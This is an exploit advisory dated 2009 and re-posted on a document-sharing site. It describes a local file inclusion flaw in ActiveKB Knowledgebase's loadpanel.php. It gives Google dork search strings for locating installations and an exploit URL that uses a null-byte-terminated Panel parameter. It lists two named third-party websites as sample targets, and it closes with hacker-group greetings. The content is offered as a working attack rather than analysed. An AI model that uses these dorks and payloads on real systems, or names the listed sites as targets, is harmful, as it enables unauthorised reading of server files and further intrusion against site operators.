ActiveKB Knowledgebase loadpanel.php Panel Local File Inclusion Vuln

Document Sample
ActiveKB Knowledgebase loadpanel.php Panel Local File Inclusion Vuln Powered By Docstoc
					                ActiveKB Knowledgebase loadpanel.php Panel Local File Inclusion Vuln                Page 1/1
  1    [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[x]
  2     | Local File Inclusion Vulnerability                                                   |
  3    [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[o]
  4     | Software : ActiveKB Knowledgebase version X.X                                        |
  5     | Vendor     : http://www.interspire.com/activekb/                                     |
  6     | Date          : 02 April 2009                                                        |
  7     | Author      : Angela Chang                                                           |
  8     | Contact    : mizz_4ng3l@yahoo.com                                                    |
  9    [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[o]
  10
  11   [»] Google Dork
  12
  13       "Powered by ActiveKB Knowledgebase Software"
  14       inurl:loadpanel.php?Panel=
  15
  16   [»] Vulnerable
  17
  18       ./loadpanel.php
  19
  20   [»] Exploit
  21
  22       http://[site]/[path]/loadpanel.php?Panel=[LFI]%00
  23
  24   [»] Sample
  25
  26       http://help.theedweb.com/activekb/loadpanel.php?Panel=[LFI]%00
  27       http://my.myriadnetwork.com/kb//loadpanel.php?Panel=[LFI]%00
  28
  29   [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[x]
  30    | Greetz      :    Speciale Thanks FoR :                                               |
  31   [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[o]
  32    |    −−−−−−−− Vrs−hCk , Nyubi (Solpot) , OoN_Boy      −−−−−−−−−−                       |
  33   [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[o]
  34
  35   # milw0rm.com [2009−04−03]




Angela Chang                                                                                        04/03/2009

				
DOCUMENT INFO